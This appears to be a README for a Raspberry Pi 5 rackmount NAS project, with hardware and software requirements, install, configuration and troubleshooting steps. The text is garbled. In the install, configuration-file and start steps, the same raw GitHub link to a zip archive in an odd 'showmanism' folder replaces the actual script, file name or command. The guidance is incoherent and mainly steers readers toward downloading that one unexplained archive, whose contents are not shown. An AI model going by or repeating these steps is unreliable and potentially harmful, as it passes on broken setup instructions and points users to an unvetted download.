Welcome to Mini-Rack-1U-Pi-NAS! This is a user-friendly application designed to turn your Raspberry Pi 5 into a 10-inch rackmount network-attached storage (NAS) with a 5.25" hot swap bay. Follow the steps below to get started.
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Hardware Requirements:
- Raspberry Pi 5
- 5.25" hot swap bay
- Power supply for the Raspberry Pi
- Network connection (Wi-Fi or Ethernet)
- Compatible storage drive (HDD or SSD)
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Software Requirements:
- Operating System: Raspbian or any Raspberry Pi-compatible OS
- Basic knowledge of your operating system environment
To install Mini-Rack-1U-Pi-NAS, you will first need to download the software. Follow these steps:
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Visit the Releases Page: Click the link below to access the latest release.
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Locate the Latest Version: On the releases page, find the most recent version of the application.
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Download the Files: Click on the appropriate asset for your system to download the necessary files.
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Extract the Files: If the files are in a compressed format (like .zip or .tar), extract them using your preferred archive tool.
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Install the Application:
- Open a terminal on your Raspberry Pi.
- Navigate to the directory where you extracted the files.
- Run the installation script by typing
https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zipand pressing Enter.
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Complete the Setup: Follow the on-screen instructions to complete the installation.
After the installation is complete, you will need to configure Mini-Rack-1U-Pi-NAS for your needs:
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Open the Configuration File:
- Navigate to the installation directory.
- Open the
https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zipfile in a text editor.
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Set Your Preferences:
- Update the storage paths as needed.
- Set the desired network settings to connect to your home network.
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Save Changes: Save the configuration file and close the editor.
To start Mini-Rack-1U-Pi-NAS:
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Open the Terminal: Use the terminal on your Raspberry Pi.
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Navigate to the Installation Directory:
- Use the
cdcommand to change to the directory where Mini-Rack-1U-Pi-NAS is installed.
- Use the
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Start the Application:
- Type
https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zipand press Enter to run Mini-Rack-1U-Pi-NAS.
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Access the Interface: Open a web browser on your local network and go to
http://<Your_Pi_IP_Address>:8080to check the web interface.
- RAID Support: Configure storage drives for redundancy or increased performance.
- Hot Swap Functionality: Replace drives without shutting down the system.
- User-Friendly Interface: Manage your storage easily through a web interface.
- File Sharing: Share files across your home network effortlessly.
If you encounter issues while setting up Mini-Rack-1U-Pi-NAS, consider the following steps:
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Check Connections: Ensure that your Raspberry Pi and storage drives are correctly connected.
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Review the Logs: Look at the log files in the installation directory for error messages that may indicate the problem.
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Seek Help: Visit the Issues section on the GitHub page if you need assistance or want to report a bug.
Join our community to ask questions, share your experience, or request features. Check out the discussions on GitHub.
Thank you for using Mini-Rack-1U-Pi-NAS! Enjoy your new NAS setup with the Raspberry Pi 5.